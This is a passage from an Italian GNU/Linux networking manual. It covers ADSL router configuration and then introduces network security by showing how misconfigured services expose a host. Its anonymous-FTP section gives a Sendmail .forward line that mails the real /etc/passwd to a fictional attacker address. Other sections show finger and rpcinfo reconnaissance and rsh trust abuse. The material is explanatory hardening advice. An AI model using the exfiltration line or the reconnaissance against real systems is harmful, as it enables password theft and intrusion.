Quando il router non è in grado di ridirigere un traffico particolare verso un elaboratore della rete interna, dovrebbe essere possibile almeno inviare tutti i pacchetti che non sono associati a comunicazioni preesistenti verso un indirizzo che potrebbe essere indicato come «zona demilitarizzata». Naturalmente, l'elaboratore che si trova a ricevere questi pacchetti risulta completamente accessibile dall'esterno, come se avesse l'indirizzo IP pubblico ottenuto dal router stesso e deve essere difeso in qualche modo (per esempio configurando la gestione del filtro dei pacchetti IP).

Figura 47.104. In questa pagina si vede in particolare la ridirezione di tutto il traffico che ha inizio dall'esterno verso l'indirizzo 192.168.1.1. La sigla «DMZ» sta per *demilitarized zone*, ovvero, zona demilitarizzata. L'esempio si riferisce a un router CNet.

Miscellaneous Configuration

WAN side HTTP server	Disabled
FTP server	Disabled
TFTP server	Disabled
HTTP server port	80
DMZ	Enabled
DMZ HOST IP	192.168.1.1
DHCP Relay	Disabled
DHCP Target IP	0.0.0.0
IGMP Proxy	Disabled
PPP reconnect on WAN access	Enabled
PPP Half Bridge	Disabled

Quando si vuole realizzare un tunnel IPv6 (sezione 38.14) è praticamente indispensabile agire in questo modo, facendo sì che poi il nodo esposto diventi anche un router IPv6.

47.7.5.1 Firewall

Quando il router consente la configurazione come firewall, le cose si complicano ed è molto probabile che sia consentito l'accesso dall'esterno in modo predefinito.

Per motivi di sicurezza è bene evitare che sia concessa la configurazione del router dall'esterno, ovvero al di fuori della rete locale.

Qualunque sia la configurazione del firewall che si intende applicare, occorre verificare con programmi di scansione (come Nmap), dall'esterno della propria rete locale (si veda la sezione 48.7).

Figura 47.105. Configurazione di un firewall che dovrebbe bloccare tutto il traffico diretto verso l'interfaccia esterna (non correlato alle comunicazioni interne).

Note:
If Ip = 0.0.0.0, addresses are ignored
If Wan = alias wan IP address
If From = 0 and To = 0, ports are ignored
If Protocol = IP, ports are ignored

Operation

Submit Reset

#	Source	Destination	Action	Protocol	Direction
1	IP 0.0.0.0 Mask 0.0.0.0 Port From 0 To 0	IP wan Mask 255.255.255.255 Port From 0 To 0	DENY	IP (ALL)	INPUT

Può anche darsi che non si riesca o non ci sia il modo di disabilitare qualunque risposta dalle porte che di solito servono ad accedere dall'esterno per configurare il router; in questi casi, si può tentare di ridirigere quelle porte (o tutto il traffico non correlato a quello generato dall'interno) verso un indirizzo inutilizzato della rete locale, oppure, addirittura verso macchine esterne di fantasia.

47.7.5.2 Tunnel 6to4

Per completezza, viene mostrato in breve come configurare un sistema GNU/Linux in modo da attraversare un router ADSL con un tunnel 6to4. I dati riportati nell'esempio sono coerenti con gli altri esempi del capitolo.

Figura 47.106. Rete locale con indirizzi IPv4 privati, che accede alla rete esterna attraverso un router che non riconosce i tunnel 6to4.

I comandi seguenti realizzano il tunnel nel nodo che deve svolgere il ruolo di router IPv6 con un sistema GNU/Linux; si osservi che l'indirizzo IPv4 80.180.117.7 si traduce in esadecimale come $50B47307_{16}$:

```
# ip tunnel add name t6to4 mode sit remote any local 192.168.1.1 [Invio]
```

```
# ip link set dev t6to4 up [Invio]
```

```
# ip -6 address add local 2002:50b4:7307::1/48 scope global ↩
↪        dev t6to4 [Invio]
```

```
# ip -6 route add to 2000::/3 via ::192.88.99.1 dev t6to4 metric 1 [Invio]
```

```
# ip -6 address add local 2002:50b4:7307:7::1/64 scope global ↩
↪        dev eth0 [Invio]
```

```
# echo 1 > /proc/sys/net/ipv6/conf/all/forwarding [Invio]
```

Si osservi che questa tecnica è spiegata con maggiore dettaglio nella sezione 38.14.

47.7.6 Configurazione con indirizzi statici

Si suppone di avere ottenuto un pacchetto di otto indirizzi IPv4 statici, secondo le modalità seguenti:

Indirizzo punto-punto assegnato al router:	194.152.059.045
Maschera di rete per l'indirizzo punto-punto:	255.255.255.252
Indirizzo di rete degli indirizzi statici assegnati per la rete locale:	63.123.24.16
Maschera di rete per gli indirizzi statici assegnati alla rete locale:	255.255.255.248
Protocollo per il collegamento punto-punto:	RFC 1483 LLC

Partendo dall'indirizzo di rete 63.123.24.16, conoscendo la maschera di rete, 255.255.255.248, si determina che si possono utilizzare gli indirizzi da 63.123.24.17 a 63.123.24.22 per i nodi.

Si assegna inizialmente un indirizzo IPv4 statico all'interfaccia interna del router, evitando di

attivare un eventuale servizio DHCP, che in questo caso sarebbe poco appropriato.

Figura 47.108. Un esempio di pagina di configurazione della rete interna con indirizzi statici. All'interfaccia del router collegata alla rete interna, si assegna l'indirizzo 63.123.24.22.

LAN Configuration

IP Address 63.123.24.22

Subnet Mask 255.255.255.248

La gestione del NAT viene disabilitata, perché i nodi locali possono disporre di indirizzi IPv4 pubblici.

Quando è accertato che il collegamento della rete locale funziona correttamente (utilizzando gli indirizzi ottenuti), si può passare alla configurazione del lato esterno (WAN). È qui che si deve definire il protocollo di comunicazione.

Figura 47.109. La pagina di configurazione del collegamento ADSL, con il protocollo RFC 1483 LLC, utilizzando un router Pirelli.

WAN Configuration

System Wide Settings

Default Gateway 194.152.59.45

Per VC Settings

Enabled?	VPI	VCI	Static IP Address	Subnet Mask
Yes	8	35	194.152.59.45	255.255.255.252

MAC SPOOFING

Mac Spoofing Disable

Mac Address 00:00:00:00:00:00

ATM

Service Category UBR

Bandwidth 0 kbps

ENCAPSULATION 1483 Routed IP LLC

BRIDGE Disabled

IGMP Disabled

Disconnect Timeout 0 seconds (**Max:32767**)

Authentication Auto

Automatic Reconnect

DHCP

DHCP client enable

Host Name

Virtual Circuit: 0

Submit Reset

Settings need to be saved to Flash and the system needs to be rebooted for changes to take effect.

Save Configuration

Per le reti italiane, i parametri VPI e VCI corretti sono solitamente 8 e 35 rispettivamente.

Il registro del router potrebbe risultare contenere le informazioni seguenti:

```
1/1/1970 0:0:0> Ethernet Device 0 Detected
1/1/1970 0:0:0> ATM: Detected
1/1/1970 0:0:0> ATM: Setting up vcc0, VPI=8, VCI=35
1/1/1970 0:7:13> ATM Connected
1/1/1970 0:7:13> ATM layer is up, cell delineation achieved
1/1/1970 0:7:13> ADSL connected
```

47.8 Riferimenti

- Paul Russell, *Linux IPCHAINS-HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Terry Dawson, *Linux NET-3-HOWTO, Linux Networking*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Mark Grennan, *Firewalling and Proxy Server HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- *Squid Web Proxy Cache*
  ⟨*http://www.squid-cache.org/* ⟩
- W3C, *Platform for Internet Content Selection (PICS)*
  ⟨*http://www.w3.org/PICS/* ⟩
- W3C, *PICS Self-Rating Services List*
  ⟨*http://www.w3.org/PICS/raters.htm#self* ⟩
- W3C, *Resource Description Framework (RDF)*
  ⟨*http://www.w3.org/RDF/* ⟩
- *Safe For Kids rating description*
  ⟨*http://www.weburbia.com/safe/ratings.htm* ⟩
- *The SafeSurf Internet Rating Standard*
  ⟨*http://www.safesurf.com/ssplan.htm* ⟩
- K. Egevang, P. Francis, *RFC 1631, The IP Network Address Translator (NAT)*, 1994
  ⟨*http://www.ietf.org/rfc/rfc1631.txt* ⟩
- Rusty Russell, *Linux 2.4 packet filtering HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Mark Grennan, *Firewalling and Proxy Server HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Peter Bieringer, *Linux IPv6 HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Rusty Russell, *Linux 2.4 NAT HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- Hal Burgiss, *DSL HOWTO for Linux*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

[1] **OOPS** GNU GPL

[2] Il NAT (*Network address translation*) è un procedimento attraverso cui si modificano gli indirizzi IP, di solito allo scopo di consentire a una rete privata di accedere all'esterno.

[3] **Iptables** GNU GPL

[4] In questo caso, viene bloccato il pacchetto ICMP di richiesta di eco, quando tenta di «entrare» attraverso l'interfaccia '`lo`'.

[5] Bisogna ricordare comunque che il SI specifica la lettera «k» minuscola come prefisso moltiplicatore che esprime il valore 10^3.

[6] **netstat-nat** GNU GPL

Capitolo 48

Sicurezza e controllo

48.1 Introduzione ai problemi di sicurezza con la rete 2696

48.1.1 Problemi legali 2697
48.1.2 Informazioni: la prima debolezza 2697
48.1.3 Errori comuni di configurazione 2700
48.1.4 Servizi e programmi pericolosi per loro natura 2702
48.1.5 Fiducia e interdipendenza tra i sistemi 2704
48.1.6 Backdoor: cosa ci si può attendere da un sistema compromesso 2705
48.1.7 Regole dettate dal buon senso 2706

48.2 Virus, vermi e cavalli di Troia 2707

48.2.1 Dazuko 2709
48.2.2 Clamav 2710
48.2.3 Clamuko 2717

48.3 Protocollo IDENT 2720

48.3.1 Ident2 2721
48.3.2 Interrogazione del servizio e librerie 2721
48.3.3 Autenticazione interna tramite IDENT 2723
48.3.4 Proxy trasparente 2724

48.4 TCP wrapper in dettaglio 2725

48.4.1 Limiti e particolarità del TCP wrapper 2726
48.4.2 Configurazione del TCP wrapper 2726
48.4.3 Verifica della configurazione 2731
48.4.4 Verifica delle corrispondenze 2732
48.4.5 Un Finger speciale 2733
48.4.6 Verifica della propria identificazione 2733

48.5 Cambiare directory radice 2733

48.5.1 Un esempio pratico: TELNET 2734
48.5.2 Altri programmi affini 2736

48.6 Verifica dell'integrità dei file con AIDE 2737

48.6.1 Configurazione di AIDE: «aide.conf» 2737
48.6.2 Utilizzo 2740

48.7 Verifica della vulnerabilità della propria rete 2741

48.7.1 Queso 2741
48.7.2 Raccess 2743

48.7.3 Nmap 2744

48.8 Strumenti per il controllo e l'analisi del traffico IP 2747

48.8.1 Netstat 2748
48.8.2 Fuser 2750
48.8.3 Tcpdump 2750
48.8.4 IPTraf 2756
48.8.5 Sniffit 2759
48.8.6 Wireshark 2761
48.8.7 IPlogger 2767
48.8.8 Psad 2768
48.8.9 Netcat 2769

48.9 Protezione della sessione di lavoro 2772

48.9.1 Utilizzo di «vlock» 2772
48.9.2 Utilizzo di «xlock» 2772
48.9.3 Utilizzo di «xtrlock» 2773

48.10 Riferimenti 2773

`.procmailrc` 2716 `aide` 2737 `aide.conf` 2737 `chroot` 2733 `clamd` 2714 `clamd.conf` 2714 `clamdscan` 2714 `clamscan` 2710 `fakechroot` 2736 `finger` 2698 `freshclam` 2712 `freshclam.conf` 2712 `fuser` 2750 `hosts.allow` 2726 `hosts.deny` 2726 `icmplog` 2767 `ident2` 2721 `identd` 2720 `identtestd` 2721 `in.identtestd` 2721 `iptraf` 2756 `nc` 2769 `netstat` 2748 `nmap` 2744 `psad.conf` 2768 `psadfifo` 2768 `queso` 2741 `queso.conf` 2741 `raccess` 2743 `rpcinfo` 2700 `safe_finger` 2733 `sniffit` 2759 `tcpdchk` 2731 `tcpdmatch` 2732 `tcpdump` 2750 `tcplog` 2767 `try-from` 2733 `vlock` 2772 `wireshark` 2761 `xlock` 2772 `xtrlock` 2773

48.1 Introduzione ai problemi di sicurezza con la rete

Quando un sistema è collegato a una rete pubblica per la maggior parte del tempo, è soggetto ad aggressioni di ogni tipo. Chi amministra sistemi del genere ha il suo bel da fare a cercare di impedire l'accesso da parte di estranei non autorizzati, anche se spesso si ignora candidamente il problema.

Il problema della sicurezza dei sistemi in rete non ha una soluzione definitiva, ma solo delle regole indicative. Alle volte è sufficiente ignorare una carenza della versione particolare di un servizio che funziona presso un elaboratore, per lasciare una botola aperta a disposizione di qualcuno che ne conosce il trucco.

48.1.1 Problemi legali

Nel momento in cui si piazza in rete un proprio elaboratore, rendendolo accessibile al pubblico, si assumono delle responsabilità. In particolare, a proposito del problema della sicurezza, altri sistemi potrebbero risultare danneggiati da un attacco condotto con successo ai danni del proprio. Quindi, la cosa non può essere ignorata, anche quando per se stessi potrebbe non essere importante.

Quando un sistema viene attaccato e l'aggressore riesce nel suo intento, non si può dire a cosa gli può servire, ma si possono immaginare quante cose terribili potrebbero essere ottenute a nome di quell'elaboratore e quindi del suo amministratore. Giusto a titolo di esempio, si può considerare che questo potrebbe servire: a inviare messaggi non desiderabili (*spam*); a ottenere accesso alle informazioni contenute nell'elaboratore; a modificarle per qualche fine; ad annusare la rete circostante alla ricerca di informazioni utili ad accedere agli elaboratori che si trovano in prossimità di quello già compromesso; oppure, più in generale, a coprire altre azioni di attacco verso sistemi estranei, usando il primo come copertura.

Con questo scenario, si comprende che la cosa più grave che deriva da un sistema compromesso è il rischio per il suo amministratore di essere coinvolto nell'attività illegale di qualcun altro. Pertanto, quando ci si dovesse accorgere di questo, se possibile, sarebbe opportuno staccare fisicamente tale elaboratore dalla rete, avvisare le altre persone coinvolte nell'amministrazione degli elaboratori della stessa rete locale (o che comunque hanno una qualche relazione con quello compromesso), tenere traccia in un registro fisico dell'accaduto e delle misure prese come conseguenza.

La necessità di annotare l'accaduto e le operazioni compiute deriva dalla possibilità di essere coinvolti in un procedimento giudiziario da parte di chi dovesse essere stato danneggiato dall'attività di questo ignoto.

Nello stesso modo in cui si può essere accusati ingiustamente di attività criminali compiute da altri, si rischia di accusare degli innocenti quando si cerca di determinare l'origine di un attacco. È importante tenere conto che se il sistema è stato compromesso, anche i file delle registrazioni possono esserlo, comunque, l'attacco potrebbe essere giunto attraverso un sistema già compromesso in precedenza, all'insaputa del suo amministratore.

48.1.2 Informazioni: la prima debolezza

I servizi offerti da un sistema connesso in rete offrono delle informazioni necessarie a compiere tali servizi. Queste informazioni sono la base di partenza di qualunque possibile attacco. Per comprendere l'importanza di ciò, occorre tentare di ragionare nello stesso modo dell'ipotetico aggressore.

La conseguenza normale della presa di coscienza di questo lato del problema è la tendenza alla riduzione dei servizi, in modo da limitare le notizie disponibili all'esterno.

> Gli esempi che vengono mostrati, possono essere usati tranquillamente contro macchine di cui si ha l'amministrazione (e quindi la responsabilità). Se però si tenta di scoprire le debolezze di qualche altro sistema, anche se si crede di agire in buona fede, questo comportamento può essere individuato e considerato un tentativo di attacco reale.

48.1.2.1 Finger

Il protocollo Finger è la fonte primaria di informazioni per chi vuole tentare un attacco a un sistema, per cui va valutata la possibilità di escludere tale servizio dalla rete (il demone '**fingerd**'). Finger permette di conoscere chi è connesso al sistema e cosa sta facendo.

bruto@krampus:~$ **finger @vittima.brot.dg** [*Invio*]

```
[vittima.brot.dg]

Welcome to Linux version 2.0.35 at vittima.brot.dg !

 12:07pm  up  4:22,  1 users,  load average: 0.00, 0.00, 0.00

Login     Name      Tty  Idle  Login Time   Office     Office Phone
daniele             *6   4:21  Sep 30 07:45
```

Già questo permette di sapere il tipo di kernel utilizzato e le informazioni *uptime* (evidentemente l'elaboratore della vittima ha avviato il demone '**fingerd**' con l'opzione '**-w**'). Inoltre, in questo caso appare un solo utente connesso che sta svolgendo un lavoro con un programma da ben 4 ore e 21 minuti, senza osservare il sistema in alcun modo.

L'informazione sull'utilizzo del sistema è importante per l'aggressore, il quale può determinare quando agire in modo da non essere scoperto.

L'aggressore potrebbe poi tentare un'interrogazione dell'elenco degli utenti, utilizzando l'esperienza delle consuetudini comuni. Così facendo potrebbe scoprire un utente di sistema mal configurato, per esempio '**nobody**', oppure un utente di prova lasciato lì, o comunque un'utenza inutilizzata per qualche motivo.

bruto@krampus:~$ **finger root@vittima.brot.dg** [*Invio*]

```
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
Last login Thu Sep 30 8:34 (CEST) on ttyp1
        from dinkel.brot.dg.1.168.192.in-addr.arpa
...
```

Tanto per cominciare, in questo esempio si vede che l'utente '**root**' può accedere da un elaboratore della rete locale, riconoscendone così la presenza e il nome: *dinkel.brot.dg*.

bruto@krampus:~$ **finger nobody@vittima.brot.dg** [*Invio*]

```
Login: nobody                           Name: Nobody
Directory: /tmp                         Shell: /bin/sh
Never logged in.
...
```

In questo caso, si nota che l'utente '**nobody**' è stato configurato male. infatti, la directory personale di questo utente di sistema, dal momento che esiste una shell presumibilmente valida, non può essere '/tmp/'. Chiunque possa avere accesso a tale directory, cioè ogni utente, potrebbe inserirvi dei file di configurazione allo scopo di abilitare una connessione esterna

senza la richiesta di una parola d'ordine (viene descritto più avanti l'uso possibile di file come '.rhosts' e '.shosts').

```
bruto@krampus:~$ finger pippo@vittima.brot.dg [Invio]
```

```
Login: pippo                                 Name: (null)
Directory: /home/pippo                       Shell: /bin/bash
Last login Thu Jan 1 10:18 (CET) on tty2
```

La scoperta di un utente che non accede da molto tempo, permette all'aggressore di concentrare la sua attenzione su tale utenza per tentare di impadronirsene. Di solito si tratta di utenti creati solo per fare qualche prova ('**pippo**', '**prova**', '**guest**', '**backdoor**', ecc.), lasciati lì e dimenticati. Niente di meglio quindi, considerato che spesso questi hanno delle parole d'ordine banali e individuabili facilmente.

48.1.2.2 NFS

La condivisione del file system attraverso il protocollo NFS può essere verificata facilmente attraverso un comando come '**showmount**'. La conoscenza delle porzioni condivise del file system aggiunge un tassello in più alle informazioni che può raccogliere l'ipotetico aggressore.

```
bruto@krampus:~$ /usr/sbin/showmount -e vittima.brot.dg [Invio]
```

```
Export list for vittima.brot.dg:
/          *.brot.dg,*.mehl.dg,*.plip.dg
/tftpboot  *.brot.dg,*.mehl.dg,*.plip.dg
/home      *.brot.dg,*.mehl.dg,*.plip.dg
/mnt       *.brot.dg,*.mehl.dg,*.plip.dg
/opt       *.brot.dg,*.mehl.dg,*.plip.dg
/usr       *.brot.dg,*.mehl.dg,*.plip.dg
```

Per quanto riguarda questo servizio, l'amministratore di *vittima.brot.dg* è stato abbastanza accurato, tranne per il fatto di avere concesso l'esportazione della directory radice per intero. Il fatto di avere limitato l'accessibilità a domini determinati (presumibilmente componenti la rete locale su cui è inserito tale elaboratore) non è una garanzia sufficiente. Chi dovesse riuscire a ottenere un accesso presso una macchina di questa rete, potrebbe sfruttare l'occasione.

È importante ribadire la pericolosità dell'esportazione di una directory radice. Se un ipotetico aggressore dovesse conoscere un difetto del servente NFS che gli potesse permettere di accedere, anche se formalmente non ne risulta autorizzato, il danno sarebbe enorme.

Si osservi l'esportazione della directory '/home/'; di sicuro viene concessa anche la scrittura. Se l'ipotetico aggressore fosse in grado di innestare questa directory nel suo sistema, gli sarebbe facile inserire file di configurazione come '.rhosts' ('**rsh**') e '.shosts' ('**ssh**'), per autorizzarsi l'accesso in qualità di quell'utente (anche senza l'utilizzo di alcuna parola d'ordine).

Da quanto affermato, è importante osservare che sarebbe meglio esportare directory in lettura e scrittura solo a nodi clienti indicati in modo preciso, evitando di consentire l'accesso in questo modo a tutta una rete o sottorete. In tutti gli altri casi, dove possibile, sarebbe meglio esportare solo in lettura.

48.1.2.3 Servizi RPC

Un'altra fonte di informazioni molto importante è data dai servizi RPC, attraverso il Portmapper. Basta usare '**`rpcinfo`**' per sapere quali servizi RPC sono offerti da un certo servente. Si osservi l'esempio seguente:

bruto@krampus:~$ **`rpcinfo -p vittima.brot.dg`** [*Invio*]

```
program vers proto   port
 100000    2   tcp    111  rpcbind
 100000    2   udp    111  rpcbind
 100005    1   udp    635  mountd
 100005    2   udp    635  mountd
 100005    1   tcp    635  mountd
 100005    2   tcp    635  mountd
 100003    2   udp   2049  nfs
 100003    2   tcp   2049  nfs
```

In questo caso non c'è molto da sfruttare. In pratica è disponibile solo il servizio NFS. Però, in altre situazioni si può scoprire la presenza di NIS (YP) o di altri servizi più insidiosi.

48.1.2.4 SNMP

Il protocollo SNMP (*Simple network management protocol*, capitolo 42.11) ha lo scopo di consentire il controllo di apparecchiature raggiungibili attraverso la rete, fornendo un modo per pubblicare delle informazioni che in parte possono anche essere rese modificabili. Molte apparecchiature che si collegano alla rete offrono questo servizio, comportandosi come «agenti SNMP». Il problema sta nel fatto che, di norma, l'accesso al servizio avviene attraverso la comunità predefinita '**`public`**', ma, peggio ancora, le informazioni pubblicate potrebbero contenere i dati necessari ad accedere per modificarne la configurazione (di solito attraverso un servente HTTP integrato).

Pertanto, ogni volta che si inserisce un componente di rete, occorre sospettare la presenza del servizio SNMP, anche se questo non serve per i propri scopi, provvedendo eventualmente a cambiare il nome della comunità per l'accesso senza autenticazione.

48.1.3 Errori comuni di configurazione

Gli errori di configurazione dei servizi sono il metodo più comune attraverso cui si consente l'aggressione del proprio sistema. In questo caso, non ci sono sistemi sicuri che tengano, a meno che il servizio stesso sia stato predisposto per impedire delle «castronerie».

48.1.3.1 FTP anonimo

Il servizio FTP anonimo si basa sulla definizione di un utente di sistema, '**ftp**', e della relativa directory personale (*home*), '~ftp/'. L'utente che accede in modo normale vede un file system ridotto, dove la radice corrisponde alla directory '~ftp/'.

All'interno di questo piccolo mondo ci sono solitamente dei programmi di servizio, delle librerie e dei file di configurazione, tra cui in particolare anche il file '~ftp/etc/passwd'. Questo file **non deve** essere la copia di '/etc/passwd', altrimenti si rischierebbe di mettere in condizione l'utente anonimo di leggere le parole d'ordine cifrate: un aggressore sarebbe in grado di scoprire le parole d'ordine reali degli utenti. A dire il vero, questa directory '~ftp/etc/' dovrebbe impedire la lettura del suo contenuto (0111_8), ma ciò serve solo a non fare conoscere quali file sono contenuti, mentre tutti sanno che ci dovrebbe essere il file '~ftp/etc/passwd'.

Inoltre, il fatto di lasciare il permesso di scrittura alla directory '~ftp/' può essere altrettanto insidioso. Un utente anonimo potrebbe mettere lì un file '.forward' creato appositamente per i suoi scopi. Nell'esempio seguente si spiega, sul piano teorico, in che modo un aggressore potrebbe riuscire a farsi spedire via posta elettronica il contenuto del file '/etc/passwd' reale del sistema.[1]

1. L'aggressore potrebbe creare un file per il *forward* (il proseguimento dei messaggi) contenente un comando, cosa consentita da Sendmail. In pratica, si potrebbe trattare del contenuto seguente:

   ```
   "|/bin/mail bruto@krampus.mehl.dg < /etc/passwd"
   ```

   Come si vede, si tratta di un condotto con cui si avvia '**mail**' per inviare il file '/etc/passwd' all'indirizzo *bruto@krampus.mehl.dg*.

2. Questo file dovrebbe essere inviato nella directory principale del servizio FTP della vittima, nominandolo '.forward', nell'ipotesi che quella directory risulti scrivibile.

3. Da quel momento, è sufficiente inviare un messaggio di posta elettronica qualunque all'indirizzo *ftp@vittima.brot.dg* perché *bruto@krampus.mehl.dg* riceva quel file delle parole d'ordine.

In questo caso, è molto probabile che per l'aggressore non sia poi tanto facile cancellare le tracce lasciate (cosa senza dubbio positiva). Tuttavia questa è la dimostrazione di cosa può fare una configurazione errata di tale servizio.

48.1.3.2 Accesso remoto

Il servizio offerto dai demoni '**rlogind**' e '**rshd**' è pericoloso per la sua sola presenza, in quanto un aggressore potrebbe utilizzare un difetto in un altro servizio per configurare con successo un proprio accesso utilizzando un utente già esistente. Oltre a questo, una configurazione errata potrebbe consentire un accesso indiscriminato.

La configurazione avviene attraverso due file possibili: '/etc/hosts.equiv' e '~/.rhosts' (il secondo deve risiedere nella directory personale degli utenti che ne vogliono usufruire).

Finché in questi file appaiono solo nomi di nodi a cui viene concesso di accedere, i pericoli sono limitati (si fa per dire): ogni utente accede al servente **senza l'indicazione della**

parola d'ordine, ma è almeno costretto a utilizzare lo stesso nominativo-utente. Se però si aggiungono anche i nomi di utenti che possono accedere dall'esterno, se questo viene fatto nel file '/etc/hosts.equiv', si concede loro di assumere la personalità di qualunque altro utente di quel sistema, eccetto (normalmente) l'utente '**root**'.

```
dinkel.brot.dg
roggen.brot.dg
dinkel.brot.dg tizio
dinkel.brot.dg caio
```

Se quello che si vede è il contenuto del file '/etc/hosts.equiv', gli utenti '**tizio**' e '**caio**' del cliente *dinkel.brot.dg* possono accedere come gli pare.

tizio@dinkel:~$ **rsh -l pippo vittima.brot.dg** ... [*Invio*]

L'esempio mostra l'utente '**tizio**' che accede all'elaboratore *vittima.brot.dg*, utilizzando lì il nominativo-utente '**pippo**', senza dover indicare alcuna parola d'ordine.

Questi file non prevedono l'indicazione di commenti. Se viene utilizzato il simbolo '**#**', può sembrare che questo funzioni regolarmente come un commento, però, se a un aggressore fosse possibile introdurre nel sistema DNS un nodo denominato proprio «#», facendo in modo che corrisponda a un suo indirizzo IP di comodo, ecco che quel commento servirebbe solo ad aggiungere un nuovo accesso senza parola d'ordine.

48.1.4 Servizi e programmi pericolosi per loro natura

Alcuni servizi e alcuni programmi sono pericolosi per loro natura. Se devono essere utilizzati è necessario che ciò avvenga su macchine di una rete locale ben protetta dalla rete esterna.

48.1.4.1 Trivial FTP

Il protocollo TFTP viene usato tipicamente per consentire ai sistemi senza disco (*diskless*) di avviarsi. Per questo, normalmente, viene permesso l'accesso alla directory 'tftpboot/' nel servente (di solito si tratta precisamente di '/var/lib/tftpboot/'), all'interno della quale si articolano i dati che servono a ogni cliente per l'avvio.

L'organizzazione del sistema di avvio attraverso il protocollo TFTP deve essere accurata, in modo da non pubblicare dati che possano prestarsi per un uso improprio. Va prestata attenzione particolare al percorso che risulta essere pubblicato dal servente TFTP: quello che segue è un estratto del file '/etc/inetd.conf' con una configurazione gravemente errata.

```
...
tftp  dgram  udp  wait  root  /usr/sbin/in.tftpd  /usr/sbin/in.tftpd  /
...
```

In questo caso, il demone '**in.tftpd**' pubblica il contenuto complessivo del file system, partendo dalla radice, con i privilegi dell'utente '**root**'. In tal modo, diventa accessibile qualunque file, per quanto riservato o protetto sia.

Evidentemente, la configurazione del servizio TFTP deve essere tale da consentire un accesso limitato a un ramo ben controllabile, come nell'esempio seguente:

```
…
tftp dgram udp wait root /usr/sbin/in.tftpd /usr/sbin/in.tftpd -s /var/lib/tftpboot
…
```

In questo caso, con l'opzione appropriata, si fa in modo che il demone '**in.tftpd**' consenta l'accesso al solo ramo '/var/lib/tftpboot/', eseguendo anche una funzione ***chroot()***, cosa che rende completamente inaccessibile qualunque altra parte del file system.

48.1.4.2 NIS

La presenza di un servizio NIS viene scoperta facilmente attraverso un'interrogazione RPC, con il comando '**rpcinfo -p**'. L'unica «difesa» che ha il servizio NIS è quella di utilizzare un dominio NIS non intuibile; diversamente, chiunque ne sia a conoscenza può utilizzare il servizio.

Generalmente, il NIS utilizzato con i sistemi GNU, include il TCP wrapper, riconoscendo così i file '/etc/hosts.allow' e '/etc/hosts.deny', cosa che dovrebbe limitare tale problema di accessibilità. Tuttavia, non bisogna dimenticare che i pericoli si corrono anche all'interno della propria rete locale, quella per la quale si concede normalmente l'utilizzo del servizio.

A parte queste considerazioni, il tipo di NIS che si utilizza normalmente fa viaggiare nella rete tutte le informazioni che amministra, comprese le parole d'ordine cifrate degli utenti. Un aggressore che avesse modo di analizzare la rete su cui viaggiano questi dati, potrebbe trarne vantaggio.

Un'altra cosa da considerare è che le informazioni amministrate dal NIS vengono collocate nella directory '/var/yp/***dominio_nis***/'. Se un aggressore dovesse riuscire a leggere tali directory, verrebbe immediatamente a conoscenza del nome del dominio NIS; poi, analizzando il contenuto dei vari file, potrebbe estrarre tutte le informazioni che gli servono sugli utenti. Quello che si vuole esprimere con questo è che non deve sfuggire l'esportazione della directory '/var/' attraverso il servizio NFS, perché sarebbe come esportare la directory '/etc/' stessa.

48.1.4.3 X

Il sistema grafico X è in grado di connettere i dispositivi che compongono la stazione grafica (tastiera, mouse e schermo) attraverso la rete. Questo si traduce nella possibilità per gli utenti di avviare un programma in un elaboratore diverso dal proprio e di gestirne il funzionamento attraverso il proprio schermo grafico. Evidentemente, questo significa che vengono fatte viaggiare attraverso la rete informazioni potenzialmente delicate, esattamente come se si usasse una shell remota non cifrata.

In generale, sarebbe utile impedire qualunque interazione tra gli elaboratori per ciò che riguarda X. Inoltre, bisognerebbe vietarne l'utilizzo incontrollato, impedendo il transito di questo protocollo attraverso i router.[2]

48.1.4.4 Sendmail

Sendmail è considerato generalmente un servente SMTP fragile dal punto di vista della sicurezza. Sendmail è stato progettato originalmente con una filosofia di massima prestazione e configurabilità, trascurando aspetti della sicurezza che si sono presentati con il tempo.

Uno dei maggiori problemi di Sendmail è legato alla possibilità di avere un destinatario rappresentato da un file o da un condotto. Questo può essere utile nel file '`/etc/aliases`' o nel file '`~/.forward`' di ogni utente, per creare un archivio di messaggi, per gestire una lista di posta elettronica, o per filtrare i messaggi attraverso programmi specifici. Ma così il file '`~/.forward`' potrebbe essere sfruttato da parte di un aggressore che sia in grado di crearlo o di accedervi in scrittura nella directory di un utente: inviando un messaggio all'indirizzo di quell'utente potrebbe ottenere l'avvio di un comando definito in un condotto.

In passato, si sono evidenziate diverse tecniche che sfruttavano questo meccanismo, magari semplicemente mettendo dei comandi al posto dei destinatari dei messaggi. Attualmente questi problemi sono conosciuti e le versioni più recenti di Sendmail non dovrebbero consentire più questi trucchi, ma in generale Sendmail è classificabile come un programma potenzialmente pericoloso.

A quanto affermato si aggiunga l'estrema difficoltà nella sua configurazione, cosa che costringe generalmente a mantenere ciò che è stato definito da altri. Un errore in questa configurazione, fatto da chiunque, potrebbe permette a qualcuno di sfruttare Sendmail per scopi indesiderabili, al limite solo per la diffusione di *spam*.

48.1.5 Fiducia e interdipendenza tra i sistemi

Lo studio sui problemi di sicurezza riferiti a un nodo particolare, non può limitarsi all'ambito di quell'elaboratore; deve includere anche l'ambiente circostante, ovvero gli altri elaboratori dai quali può dipendere per determinati servizi, oppure dai quali può accettare accessi senza autenticazione.

L'aggressione a uno di questi sistemi pregiudica conseguentemente tutti quelli che ne dipendono.

48.1.5.1 Fiducia incondizionata

Si può parlare di «fiducia incondizionata» quando si concede ad altri elaboratori l'accesso, o l'utilizzo di determinati servizi, senza alcuna forma di controllo che non sia la pura determinazione del nome di questi (il nome di dominio) o del numero IP, mentre in condizioni normali sarebbe necessaria almeno l'indicazione di una parola d'ordine.

